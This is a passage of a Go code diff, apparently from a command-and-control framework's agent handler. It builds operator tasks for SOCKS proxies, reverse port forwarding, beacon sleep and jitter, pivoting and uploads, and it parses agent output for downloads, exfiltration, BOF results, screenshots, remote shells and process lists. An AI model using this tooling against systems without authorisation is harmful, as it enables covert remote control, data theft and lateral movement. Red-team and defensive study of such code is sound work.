fportNumber, _ := getFloatArg(args, "fwdport") + fport := int(fportNumber) + if fport < 1 || fport > 65535 { + err = errors.New("port must be from 1 to 65535") + goto RET + } + + tunnelId, err := Ts.TsTunnelCreateRportfwd(agentData.Id, "", lport, fhost, fport) + if err != nil { + goto RET + } + taskData.TaskId, err = Ts.TsTunnelStart(tunnelId) + if err != nil { + goto RET + } + + messageData.Message = fmt.Sprintf("Starting reverse port forwarding %d to %s:%d", lport, fhost, fport) + messageData.Status = MESSAGE_INFO + + } else if subcommand == "stop" { + taskData.Completed = true + + Ts.TsTunnelStopRportfwd(agentData.Id, lport) + + taskData.MessageType = MESSAGE_SUCCESS + taskData.Message = "Reverse port forwarding has been stopped" + + } else { + err = errors.New("subcommand must be 'start' or 'stop'") + goto RET + } + + case "sleep": + var sleepTime int + + sleep, err := getStringArg(args, "sleep") + if err != nil { + goto RET + } + jitter, _ := getFloatArg(args, "jitter") + jitterTime := int(jitter) + + sleepInt, err := strconv.Atoi(sleep) + if err == nil { + sleepTime = sleepInt + } else { + t, err := time.ParseDuration(sleep) + if err == nil { + sleepTime = int(t.Seconds()) + } else { + err = errors.New("sleep must be in '%h%m%s' format or number of seconds") + goto RET + } + } + if jitterTime < 0 || jitterTime > 100 { + err = errors.New("jitter must be from 0 to 100") + goto RET + } + if jitterTime > 0 { + messageData.Message = fmt.Sprintf("Task: sleep to %v with %v%% jitter", sleep, jitterTime) + } else { + messageData.Message = fmt.Sprintf("Task: sleep to %v", sleep) + } + + array = []interface{}{COMMAND_PROFILE, 1, sleepTime, jitterTime} + + case "burst": + if subcommand == "show" { + array = []interface{}{COMMAND_PROFILE, 6} + messageData.Message = "Task: show burst config" + } else if subcommand == "set" { + + enabled, err := getFloatArg(args, "enabled") + if err != nil { + err = errors.New("parameter 'enabled' must be set (1=on, 0=off)") + goto RET + } + burstEnabled := int(enabled) + if burstEnabled != 0 && burstEnabled != 1 { + err = errors.New("parameter 'enabled' must be 0 or 1") + goto RET + } + + burstSleep := 50 + sleepVal, err := getFloatArg(args, "sleep") + if err == nil { + burstSleep = int(sleepVal) + if burstSleep < 0 || burstSleep > 10000 { + err = errors.New("burst sleep must be from 0 to 10000 ms") + goto RET + } + } + + burstJitter := 0 + jitterVal, err := getFloatArg(args, "jitter") + if err == nil { + burstJitter = int(jitterVal) + if burstJitter < 0 || burstJitter > 90 { + err = errors.New("burst jitter must be from 0 to 90%%") + goto RET + } + } + + messageData.Message = fmt.Sprintf("Task: set burst config - %s", formatBurstStatus(burstEnabled, burstSleep, burstJitter)) + array = []interface{}{COMMAND_PROFILE, 5, burstEnabled, burstSleep, burstJitter} + } else { + err = errors.New("subcommand for 'burst' must be 'show' or 'set'") + goto RET + } + + case "socks": + taskData.Type = TYPE_TUNNEL + + portNumber, err := getFloatArg(args, "port") + port := int(portNumber) + if port < 1 || port > 65535 || err != nil { + err = errors.New("port must be from 1 to 65535") + goto RET + } + + if subcommand == "start" { + address, err := getStringArg(args, "address") + if err != nil { + goto RET + } + + version4 := getBoolArg(args, "-socks4") + if version4 { + tunnelId, err := Ts.TsTunnelCreateSocks4(agentData.Id, "", address, port) + if err != nil { + goto RET + } + taskData.TaskId, err = Ts.TsTunnelStart(tunnelId) + if err != nil { + goto RET + } + taskData.Message = fmt.Sprintf("Socks4 server running on port %d", port) + + } else { + auth := getBoolArg(args, "-auth") + if auth { + username, err := getStringArg(args, "username") + if err != nil { + goto RET + } + password, err := getStringArg(args, "password") + if err != nil { + goto RET + } + tunnelId, err := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, true, username, password) + if err != nil { + goto RET + } + taskData.TaskId, err = Ts.TsTunnelStart(tunnelId) + if err != nil { + goto RET + } + + taskData.Message = fmt.Sprintf("Socks5 (with Auth) server running on port %d", port) + + } else { + tunnelId, err := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, false, "", "") + if err != nil { + goto RET + } + taskData.TaskId, err = Ts.TsTunnelStart(tunnelId) + if err != nil { + goto RET + } + + taskData.Message = fmt.Sprintf("Socks5 server running on port %d", port) + } + } + taskData.MessageType = MESSAGE_SUCCESS + taskData.ClearText = "\n" + + } else if subcommand == "stop" { + taskData.Completed = true + + Ts.TsTunnelStopSocks(agentData.Id, port) + + taskData.MessageType = MESSAGE_SUCCESS + taskData.Message = "Socks5 server has been stopped" + taskData.ClearText = "\n" + + } else { + err = errors.New("subcommand must be 'start' or 'stop'") + goto RET + } + + case "terminate": + if subcommand == "thread" { + array = []interface{}{COMMAND_TERMINATE, 1} + } else if subcommand == "process" { + array = []interface{}{COMMAND_TERMINATE, 2} + } else { + err = errors.New("subcommand must be 'thread' or 'process'") + goto RET + } + + case "unlink": + pivotName, err := getStringArg(args, "id") + if err != nil { + goto RET + } + + pivotId, _, _ := Ts.TsGetPivotInfoByName(pivotName) + if pivotId == "" { + err = fmt.Errorf("pivot %s does not exist", pivotName) + goto RET + } + id, _ := strconv.ParseInt(pivotId, 16, 64) + + array = []interface{}{COMMAND_UNLINK, int(id)} + + case "upload": + fileName, err := getStringArg(args, "remote_path") + if err != nil { + goto RET + } + localFile, err := getStringArg(args, "local_file") + if err != nil { + goto RET + } + + fileContent, decodeErr := base64.StdEncoding.DecodeString(localFile) + if decodeErr != nil { + err = decodeErr + goto RET + } + + memoryId := CreateTaskCommandSaveMemory(Ts, agentData.Id, fileContent) + + array = []interface{}{COMMAND_UPLOAD, memoryId, Ts.TsConvertUTF8toCp(fileName, agentData.ACP)} + + default: + err = errors.New(fmt.Sprintf("Command '%v' not found", command)) + goto RET + } + + taskData.Data, err = PackArray(array) + + /// END CODE + +RET: + return taskData, messageData, err +} + +func (h *AgentHandler) ProcessData(agentData adaptix.AgentData, decryptedData []byte) error { + var outTasks []adaptix.TaskData taskData := adaptix.TaskData{ Type: TYPE_TASK, @@ -212,157 +1393,932 @@ func (m *ModuleExtender) AgentProcessData(agentData adaptix.AgentData, packedDat Sync: true, } - resultTasks := ProcessTasksResult(m.ts, agentData, taskData, plain) + /// START CODE - for _, task := range resultTasks { - m.ts.TsTaskUpdate(agentData.Id, task) + decompressed, _ := decompressZlibData(decryptedData) + + packer := CreatePacker(decompressed) + + if false == packer.CheckPacker([]string{"int"}) { + return errors.New("failed to unmarshal message") } - return nil, nil -} - -/// SYNC - -func SyncBrowserDisks(ts Teamserver, taskData adaptix.TaskData, drivesSlice []adaptix.ListingDrivesDataWin) { - jsonDrives, err := json.Marshal(drivesSlice) - if err != nil { - return + size := packer.ParseInt32() + if size-4 != packer.Size() { + return errors.New("failed to unmarshal message") } - ts.TsClientGuiDisks(taskData, string(jsonDrives)) -} + bof_output := make(map[string]bool) -func SyncBrowserFiles(ts Teamserver, taskData adaptix.TaskData, path string, filesSlice []adaptix.ListingFileDataWin) { - jsonDrives, err := json.Marshal(filesSlice) - if err != nil { - return - } + for packer.Size() >= 8 { - ts.TsClientGuiFiles(taskData, path, string(jsonDrives)) -} - -func SyncBrowserFilesStatus(ts Teamserver, taskData adaptix.TaskData) { - ts.TsClientGuiFilesStatus(taskData) -} - -func SyncBrowserProcess(ts Teamserver, taskData adaptix.TaskData, processlist []adaptix.ListingProcessDataWin) { - jsonProcess, err := json.Marshal(processlist) - if err != nil { - return - } - - ts.TsClientGuiProcess(taskData, string(jsonProcess)) -} - -func wrapProxyData(packData []byte) adaptix.TaskData { - return adaptix.TaskData{ - Type: TYPE_PROXY_DATA, - Data: packData, - Sync: false, - } -} - -func wrapProxyDataWithError(packData []byte, err error) (adaptix.TaskData, error) { - if err != nil { - return adaptix.TaskData{}, err - } - return wrapProxyData(packData), nil -} - -/// TUNNEL - -func (m *ModuleExtender) AgentTunnelCallbacks() (func(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData, func(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData, func(channelId int, data []byte) adaptix.TaskData, func(channelId int, data []byte) adaptix.TaskData, func(channelId int) adaptix.TaskData, func(tunnelId int, port int) adaptix.TaskData, error) { - return TunnelMessageConnectTCP, TunnelMessageConnectUDP, TunnelMessageWriteTCP, TunnelMessageWriteUDP, TunnelMessageClose, TunnelMessageReverse, nil -} - -func TunnelMessageConnectTCP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { - packData, _ := TunnelCreateTCP(channelId, tunnelType, addressType, address, port) - return wrapProxyData(packData) -} - -func TunnelMessageConnectUDP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { - packData, _ := TunnelCreateUDP(channelId, tunnelType, addressType, address, port) - return wrapProxyData(packData) -} - -func TunnelMessageWriteTCP(channelId int, data []byte) adaptix.TaskData { - packData, _ := TunnelWriteTCP(channelId, data) - return wrapProxyData(packData) -} - -func TunnelMessageWriteUDP(channelId int, data []byte) adaptix.TaskData { - packData, _ := TunnelWriteUDP(channelId, data) - return wrapProxyData(packData) -} - -func TunnelMessageClose(channelId int) adaptix.TaskData { - packData, _ := TunnelClose(channelId) - return wrapProxyData(packData) -} - -func TunnelMessageReverse(tunnelId int, port int) adaptix.TaskData { - packData, _ := TunnelReverse(tunnelId, port) - return wrapProxyData(packData) -} - -/// TERMINAL - -func (m *ModuleExtender) AgentTerminalCallbacks() (func(int, string, int, int, int) (adaptix.TaskData, error), func(int, int, []byte) (adaptix.TaskData, error), func(int) (adaptix.TaskData, error), error) { - return TerminalMessageStart, TerminalMessageWrite, TerminalMessageClose, nil -} - -func TerminalMessageStart(terminalId int, program string, sizeH int, sizeW int, oemCP int) (adaptix.TaskData, error) { - return wrapProxyDataWithError(TerminalStart(terminalId, program, sizeH, sizeW, oemCP)) -} - -func TerminalMessageWrite(terminalId int, oemCP int, data []byte) (adaptix.TaskData, error) { - return wrapProxyDataWithError(TerminalWrite(terminalId, oemCP, data)) -} - -func TerminalMessageClose(terminalId int) (adaptix.TaskData, error) { - return wrapProxyDataWithError(TerminalClose(terminalId)) -} - -// DNS Helper Functions - -// decompressAgentData attempts to decompress DNS agent data with session framing. -// Returns the decompressed data and true if successful, or original data and false otherwise. -func decompressAgentData(data []byte) ([]byte, bool) { - if len(data) < dnsFrameHeaderSize { - return data, false - } - - flags := data[0] - origLen := int(data[1]) | - int(data[2])<<8 | - int(data[3])<<16 | - int(data[4])<<24 - - if origLen <= 0 { - return data, false - } - - payload := data[dnsFrameHeaderSize:] - - if (flags & dnsCompressFlag) != 0 { - // Compressed: use zlib to decompress - r, err := zlib.NewReader(bytes.NewReader(payload)) - if err != nil { - return data, false + if false == packer.CheckPacker([]string{"int", "int"}) { + goto HANDLER } - var buf bytes.Buffer - _, err = io.Copy(&buf, r) - _ = r.Close() - if err == nil && buf.Len() == origLen { - return buf.Bytes(), true + + TaskId := packer.ParseInt32() + commandId := packer.ParseInt32() + task := taskData + task.TaskId = fmt.Sprintf("%08x", TaskId) + + switch commandId { + + case COMMAND_CAT: + if false == packer.CheckPacker([]string{"array", "array"}) { + goto HANDLER + } + path := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) + fileContent := packer.ParseBytes() + task.Message = fmt.Sprintf("'%v' file content:", path) + task.ClearText = string(fileContent) + + case COMMAND_CD: + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + path := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) + task.Message = "Current working directory:" + task.ClearText = path + + case COMMAND_COPY: + task.Message = "File copied successfully" + + case COMMAND_DISKS: + if false == packer.CheckPacker([]string{"byte", "int"}) { + goto HANDLER + } + result := packer.ParseInt8() + var drives []adaptix.ListingDrivesDataWin + + if result == 0 { + errorCode := packer.ParseInt32() + task.Message = fmt.Sprintf("Error [%d]: %s", errorCode, Ts.TsWin32Error(errorCode)) + task.MessageType = MESSAGE_ERROR + + } else { + drivesCount := int(packer.ParseInt32()) + + for i := 0; i < drivesCount; i++ { + if false == packer.CheckPacker([]string{"byte", "int"}) { + goto HANDLER + } + var driveData adaptix.ListingDrivesDataWin + driveCode := packer.ParseInt8() + driveType := packer.ParseInt32() + + driveData.Name = fmt.Sprintf("%c:", driveCode) + if driveType == 2 { + driveData.Type = "USB" + } else if driveType == 3 { + driveData.Type = "Hard Drive" + } else if driveType == 4 { + driveData.Type = "Network Drive" + } else if driveType == 5 { + driveData.Type = "CD-ROM" + } else { + driveData.Type = "Unknown" + } + + drives = append(drives, driveData) + } + + OutputText := fmt.Sprintf(" %-5s %s\n", "Drive", "Type") + OutputText += fmt.Sprintf(" %-5s %s", "-----", "-----") + for _, item := range drives { + OutputText += fmt.Sprintf("\n %-5s %s", item.Name, item.Type) + } + task.Message = "List of mounted drives:" + task.ClearText = OutputText + } + + Ts.TsClientGuiDisksWindows(task, drives) + + case COMMAND_DOWNLOAD: + if false == packer.CheckPacker([]string{"int", "byte"}) { + goto HANDLER + } + fileId := fmt.Sprintf("%08x", packer.ParseInt32()) + downloadCommand := packer.ParseInt8() + if downloadCommand == DOWNLOAD_START { + if false == packer.CheckPacker([]string{"int", "array"}) { + goto HANDLER + } + fileSize := packer.ParseInt32() + fileName := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) + task.Message = fmt.Sprintf("The download of the '%s' file (%v bytes) has started: [fid %v]", fileName, fileSize, fileId) + task.Completed = false + _ = Ts.TsDownloadAdd(agentData.Id, fileId, fileName, int(fileSize)) + + } else if downloadCommand == DOWNLOAD_CONTINUE { + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + fileContent := packer.ParseBytes() + task.Completed = false + _ = Ts.TsDownloadUpdate(fileId, DOWNLOAD_STATE_RUNNING, fileContent) + continue + + } else if downloadCommand == DOWNLOAD_FINISH { + task.Message = fmt.Sprintf("File download complete: [fid %v]", fileId) + _ = Ts.TsDownloadClose(fileId, DOWNLOAD_STATE_FINISHED) + } + + case COMMAND_EXFIL: + if false == packer.CheckPacker([]string{"int", "byte"}) { + goto HANDLER + } + fileId := fmt.Sprintf("%08x", packer.ParseInt32()) + downloadState := packer.ParseInt8() + + if downloadState == DOWNLOAD_STATE_STOPPED { + task.Message = fmt.Sprintf("Download '%v' successful stopped", fileId) + _ = Ts.TsDownloadUpdate(fileId, DOWNLOAD_STATE_STOPPED, []byte("")) + + } else if downloadState == DOWNLOAD_STATE_RUNNING { + task.Message = fmt.Sprintf("Download '%v' successful resumed", fileId) + _ = Ts.TsDownloadUpdate(fileId, DOWNLOAD_STATE_RUNNING, []byte("")) + + } else if downloadState == DOWNLOAD_STATE_CANCELED { + task.Message = fmt.Sprintf("Download '%v' successful canceled", fileId) + _ = Ts.TsDownloadClose(fileId, DOWNLOAD_STATE_CANCELED) + } + + case COMMAND_EXEC_BOF: + task.Message = "BOF finished" + task.Completed = true + + case COMMAND_EXEC_BOF_OUT: + if false == packer.CheckPacker([]string{"int"}) { + goto HANDLER + } + outputType := packer.ParseInt32() + + if outputType == BOF_ERROR_PARSE { + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + _ = packer.ParseString() + + task.MessageType = MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Parse BOF error" + + } else if outputType == BOF_ERROR_MAX_FUNCS { + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + _ = packer.ParseString() + + task.MessageType = MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "The number of functions in the BOF file exceeds 512" + + } else if outputType == BOF_ERROR_ENTRY { + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + _ = packer.ParseString() + + task.MessageType = MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Entry function not found" + + } else if outputType == BOF_ERROR_ALLOC { + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + _ = packer.ParseString() + + task.MessageType = MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Error allocation of BOF memory" + + } else if outputType == BOF_ERROR_SYMBOL { + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + output := packer.ParseString() + + task.MessageType = MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Symbol not found: " + output + "\n" + + } else if outputType == CALLBACK_ERROR { + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + output := packer.ParseString() + + task.MessageType = MESSAGE_ERROR + task.Message = "BOF output" + task.ClearText = Ts.TsConvertCpToUTF8(output, agentData.ACP) + + } else if outputType == CALLBACK_OUTPUT_OEM { + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + output := packer.ParseString() + + _, ok := bof_output[task.TaskId] + if ok { + task.Message = "" + } else { + bof_output[task.TaskId] = true + task.Message = "BOF output" + } + + task.MessageType = MESSAGE_SUCCESS + task.ClearText = Ts.TsConvertCpToUTF8(output, agentData.OemCP) + + } else if outputType == CALLBACK_OUTPUT_UTF8 { + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + output := packer.ParseString() + + _, ok := bof_output[task.TaskId] + if ok { + task.Message = "" + } else { + bof_output[task.TaskId] = true + task.Message = "BOF output" + } + + task.MessageType = MESSAGE_SUCCESS + task.ClearText = output + + } else if outputType == CALLBACK_AX_SCREENSHOT { + if false == packer.CheckPacker([]string{"array", "array"}) { + goto HANDLER + } + note := packer.ParseString() + screen := packer.ParseBytes() + + _ = Ts.TsScreenshotAdd(agentData.Id, note, screen) + + } else if outputType == CALLBACK_AX_DOWNLOAD_MEM { + if false == packer.CheckPacker([]string{"array", "array"}) { + goto HANDLER + } + filename := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) + data := packer.ParseBytes() + fileId := fmt.Sprintf("%08x", rand.Uint32()) + + _ = Ts.TsDownloadSave(agentData.Id, fileId, filename, data) + + } else { + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + output := packer.ParseString() + + _, ok := bof_output[task.TaskId] + if ok { + task.Message = "" + } else { + bof_output[task.TaskId] = true + task.Message = "BOF output" + } + + task.MessageType = MESSAGE_SUCCESS + task.ClearText = Ts.TsConvertCpToUTF8(output, agentData.ACP) + "\n" + } + + task.Completed = false + + case COMMAND_GETUID: + if false == packer.CheckPacker([]string{"byte", "array", "array"}) { + goto HANDLER + } + + high := packer.ParseInt8() + domain := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) + username := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) + message := "" + + if username != "" { + if domain != "" { + username = domain + "\\" + username + } + message = fmt.Sprintf("You are '%v'", username) + if high > 0 { + message += " (elevated)" + } + } + task.Message = message + + case COMMAND_JOB: + if false == packer.CheckPacker([]string{"byte", "byte"}) { + goto HANDLER + } + + jobType := packer.ParseInt8() + state := packer.ParseInt8() + + if jobType == JOB_TYPE_SHELL { + tunnelId := task.TaskId + + if state == JOB_STATE_STARTING { + Ts.TsTerminalConnResume(agentData.Id, tunnelId, false) + + } else if state == JOB_STATE_RUNNING { + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + data := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.OemCP) + Ts.TsTerminalConnData(tunnelId, []byte(data)) + + } else if state == JOB_STATE_KILLED { + _ = Ts.TsTerminalConnClose(tunnelId, "Terminal stopped") + + } else if state == JOB_STATE_FINISHED { + if false == packer.CheckPacker([]string{"int"}) { + goto HANDLER + } + errorCode := packer.ParseInt32() + status := fmt.Sprintf("Error [%d]: %s", errorCode, Ts.TsWin32Error(errorCode)) + _ = Ts.TsTerminalConnClose(tunnelId, status) + } + + } else { + if state == JOB_STATE_RUNNING { + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + task.Completed = false + jobOutput := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.OemCP) + task.Message = fmt.Sprintf("Job [%v] output:", task.TaskId) + task.ClearText = jobOutput + } else if state == JOB_STATE_KILLED { + task.Completed = true + task.MessageType = MESSAGE_INFO + task.Message = fmt.Sprintf("Job [%v] canceled", task.TaskId) + } else if state == JOB_STATE_FINISHED { + task.Completed = true + task.Message = fmt.Sprintf("Job [%v] finished", task.TaskId) + } + } + + case COMMAND_JOB_LIST: + var Output string + if false == packer.CheckPacker([]string{"int"}) { + goto HANDLER + } + count := packer.ParseInt32() + + if count > 0 { + Output += fmt.Sprintf(" %-10s %-5s %-13s\n", "JobID", "PID", "Type") + Output += fmt.Sprintf(" %-10s %-5s %-13s", "--------", "-----", "-------") + for i := 0; i < int(count); i++ { + if false == packer.CheckPacker([]string{"int", "word", "word"}) { + goto HANDLER + } + jobId := fmt.Sprintf("%08x", packer.ParseInt32()) + jobType := packer.ParseInt16() + pid := packer.ParseInt16() + + stringType := "Unknown" + if jobType == 0x1 { + stringType = "Local" + } else if jobType == 0x2 { + stringType = "Remote" + } else if jobType == 0x3 { + stringType = "Process" + } else if jobType == 0x4 { + stringType = "Shell" + } + Output += fmt.Sprintf("\n %-10v %-5v %-13s", jobId, pid, stringType) + } + task.Message = "Job list:" + task.ClearText = Output + } else { + task.Message = "No active jobs" + } + + case COMMAND_JOBS_KILL: + if false == packer.CheckPacker([]string{"byte", "int"}) { + goto HANDLER + } + result := packer.ParseInt8() + jobId := packer.ParseInt32() + + if result == 0 { + task.MessageType = MESSAGE_ERROR + task.Message = fmt.Sprintf("Job %v not found", jobId) + } else { + task.Message = fmt.Sprintf("Job %v mark as Killed", jobId) + } + + case COMMAND_LINK: + if false == packer.CheckPacker([]string{"byte", "int", "array"}) { + goto HANDLER + } + + linkType := packer.ParseInt8() + watermark := fmt.Sprintf("%08x", packer.ParseInt32()) + beat := packer.ParseBytes() + + childAgentId, _ := Ts.TsListenerInteralHandler(watermark, beat) + _ = Ts.TsPivotCreate(task.TaskId, agentData.Id, childAgentId, "", false) + + if linkType == 1 { + task.Message = fmt.Sprintf("----- New SMB pivot agent: [%s]===[%s] -----", agentData.Id, childAgentId) + Ts.TsAgentConsoleOutput(childAgentId, MESSAGE_SUCCESS, task.Message, "\n", true) + } else if linkType == 2 { + task.Message = fmt.Sprintf("----- New TCP pivot agent: [%s]===[%s] -----", agentData.Id, childAgentId) + Ts.TsAgentConsoleOutput(childAgentId, MESSAGE_SUCCESS, task.Message, "\n", true) + } + + case COMMAND_LS: + if false == packer.CheckPacker([]string{"byte"}) { + goto HANDLER + } + result := packer.ParseInt8() + + var items []adaptix.ListingFileDataWin + var rootPath string + + if result == 0 { + if false == packer.CheckPacker([]string{"int"}) { + goto HANDLER + } + errorCode := packer.ParseInt32() + task.Message = fmt.Sprintf("Error [%d]: %s", errorCode, Ts.TsWin32Error(errorCode)) + task.MessageType = MESSAGE_ERROR + + } else { + if false == packer.CheckPacker([]string{"array", "int"}) { + goto HANDLER + } + rootPath = Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) + rootPath, _ = strings.CutSuffix(rootPath, "\\*") + + filesCount := int(packer.ParseInt32()) + + if filesCount == 0 { + task.Message = fmt.Sprintf("The '%s' directory is EMPTY", rootPath) + } else { + + var folders []adaptix.ListingFileDataWin + var files []adaptix.ListingFileDataWin + + for i := 0; i < filesCount; i++ { + if false == packer.CheckPacker([]string{"byte", "long", "int", "array"}) { + goto HANDLER + } + isDir := packer.ParseInt8() + fileData := adaptix.ListingFileDataWin{ + IsDir: false, + Size: int64(packer.ParseInt64()), + Date: int64(packer.ParseInt32()), + Filename: Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP), + } + if isDir > 0 { + fileData.IsDir = true + folders = append(folders, fileData) + } else { + files = append(files, fileData) + } + } + + items = append(folders, files...) + + OutputText := fmt.Sprintf(" %-8s %-14s %-20s %s\n", "Type", "Size", "Last Modified ", "Name") + OutputText += fmt.Sprintf(" %-8s %-14s %-20s %s", "----", "---------", "---------------- ", "----") + + for _, item := range items { + t := time.Unix(item.Date, 0).UTC() + lastWrite := fmt.Sprintf("%02d/%02d/%d %02d:%02d", t.Day(), t.Month(), t.Year(), t.Hour(), t.Minute()) + + if item.IsDir { + OutputText += fmt.Sprintf("\n %-8s %-14s %-20s %-8v", "dir", "", lastWrite, item.Filename) + } else { + OutputText += fmt.Sprintf("\n %-8s %-14s %-20s %-8v", "", SizeBytesToFormat(item.Size), lastWrite, item.Filename) + } + } + task.Message = fmt.Sprintf("List of files in the '%s' directory", rootPath) + task.ClearText = OutputText + } + } + Ts.TsClientGuiFilesWindows(task, rootPath, items) + + case COMMAND_MKDIR: + if false == packer.CheckPacker([]string{"array"}) { + goto HANDLER + } + path := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) + task.Message = fmt.Sprintf("Directory '%v' created successfully", path) + + case COMMAND_MV: + task.Message = "File moved successfully" + + case COMMAND_PIVOT_EXEC: + if false == packer.CheckPacker([]string{"int", "array"}) { + goto HANDLER + } + + pivotId := fmt.Sprintf("%08x", packer.ParseInt32()) + pivotData := packer.ParseBytes() + + _, _, childAgentId := Ts.TsGetPivotInfoById(pivotId) + + _ = Ts.TsAgentProcessData(childAgentId, pivotData) + + case COMMAND_PROFILE: + if false == packer.CheckPacker([]string{"int"}) { + goto HANDLER + } + subcommand := packer.ParseInt32() + + if subcommand == 1 { + if false == packer.CheckPacker([]string{"int", "int"}) { + goto HANDLER + } + agentData.Sleep = packer.ParseInt32() + agentData.Jitter = packer.ParseInt32() + + task.Message = "Sleep time has been changed" + + _ = Ts.TsAgentUpdateData(agentData) + + } else if subcommand == 2 { + if false == packer.CheckPacker([]string{"int"}) { + goto HANDLER + } + size := packer.ParseInt32() + task.Message = fmt.Sprintf("Download chunk size set to %v bytes", size) + + } else if subcommand == 3 { + if false == packer.CheckPacker([]string{"int"}) { + goto HANDLER + } + agentData.KillDate = int(packer.ParseInt32()) + + task.Message = "Option 'killdate' is set" + if agentData.KillDate == 0 { + task.Message = "The 'killdate' option is disabled" + } + + _ = Ts.TsAgentUpdateData(agentData) + + } else if subcommand == 4 { + if false == packer.CheckPacker([]string{"int"}) { + goto HANDLER + } + agentData.WorkingTime = int(packer.ParseInt32()) + + task.Message = "Option 'workingtime' is set" + if agentData.WorkingTime == 0 { + task.Message = "The 'workingtime' option is disabled" + } + + _ = Ts.TsAgentUpdateData(agentData) + + } else if subcommand == 5 { // Burst set response + if false == packer.CheckPacker([]string{"int", "int", "int"}) { + goto HANDLER + } + burstEnabled := packer.ParseInt32() + burstSleep := packer.ParseInt32() + burstJitter := packer.ParseInt32() + + task.Message = fmt.Sprintf("Burst config updated: %s", formatBurstStatus(int(burstEnabled), int(burstSleep), int(burstJitter))) + + } else if subcommand == 6 { + // Burst show response + if false == packer.CheckPacker([]string{"int", "int", "int"}) { + goto HANDLER + } + burstEnabled := packer.ParseInt32() + burstSleep := packer.ParseInt32() + burstJitter := packer.ParseInt32() + + task.Message = fmt.Sprintf("Burst config: %s", formatBurstStatus(int(burstEnabled), int(burstSleep), int(burstJitter))) + } + + case COMMAND_PS_LIST: + if false == packer.CheckPacker([]string{"byte", "int"}) { + goto HANDLER + } + + result := packer.ParseInt8() + + var proclist []adaptix.ListingProcessDataWin + + if result == 0 { + errorCode := packer.ParseInt32() + task.Message = fmt.Sprintf("Error [%d]: %s", errorCode, Ts.TsWin32Error(errorCode)) + task.MessageType = MESSAGE_ERROR + + } else { + processCount := int(packer.ParseInt32()) + + if processCount == 0 { + task.Message = "Failed to get process list" + task.MessageType = MESSAGE_ERROR + break + } + + contextMaxSize := 10 + + for i := 0; i < processCount; i++ { + if false == packer.CheckPacker([]string{"word", "word", "word", "byte", "byte", "array", "array", "array"}) { + goto HANDLER + } + procData := adaptix.ListingProcessDataWin{ + Pid: uint(packer.ParseInt16()), + Ppid: uint(packer.ParseInt16()), + SessionId: uint(packer.ParseInt16()), + Arch: "", + } + + isArch64 := packer.ParseInt8() + if isArch64 == 0 { + procData.Arch = "x32" + } else if isArch64 == 1 { + procData.Arch = "x64" + } + + elevated := packer.ParseInt8() + domain := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) + username := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) + + if username != "" { + procData.Context = username + if domain != "" { + procData.Context = domain + "\\" + username + } + if elevated > 0 { + procData.Context += " *" + } + + if len(procData.Context) > contextMaxSize { + contextMaxSize = len(procData.Context) + } + } + + procData.ProcessName = Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP) + proclist = append(proclist, procData) + } + + type TreeProc struct { + Data adaptix.ListingProcessDataWin + Children []*TreeProc + } + + procMap := make(map[uint]*TreeProc) + var roots []*TreeProc + + for _, proc := range proclist { + node := &TreeProc{Data: proc} + procMap[proc.Pid] = node + } + + for _, node := range procMap { + if node.Data.Ppid == 0 || node.Data.Pid == node.Data.Ppid { + roots = append(roots, node) + } else if parent, ok := procMap[node.Data.Ppid]; ok { + parent.Children = append(parent.Children, node) + } else { + roots = append(roots, node) // orphaned node + } + } + + sort.Slice(roots, func(i, j int) bool { + return roots[i].Data.Pid < roots[j].Data.Pid + }) + + var sortChildren func(node *TreeProc) + sortChildren = func(node *TreeProc) { + sort.Slice(node.Children, func(i, j int) bool { + return node.Children[i].Data.Pid < node.Children[j].Data.Pid + }) + for _, child := range node.Children { + sortChildren(child) + } + } + for _, root := range roots { + sortChildren(root) + } + + format := fmt.Sprintf(" %%-5v %%-5v %%-7v %%-5v %%-%vv %%v", contextMaxSize) + OutputText := fmt.Sprintf(format, "PID", "PPID", "Session", "Arch", "Context", "Process") + OutputText += fmt.Sprintf("\n"+format, "---", "----", "-------", "----", "-------", "-------") + + var lines []string + + var formatTree func(node *TreeProc, prefix string, isLast bool) + formatTree = func(node *TreeProc, prefix string, isLast bool) { + branch := "├─ " + if isLast { + branch = "└─ " + } + treePrefix := prefix + branch + data := node.Data + + line := fmt.Sprintf(format, data.Pid, data.Ppid, data.SessionId, data.Arch, data.Context, treePrefix+data.ProcessName) + lines = append(lines, line) + + childPrefix := prefix + if isLast { + childPrefix += " " + } else { + 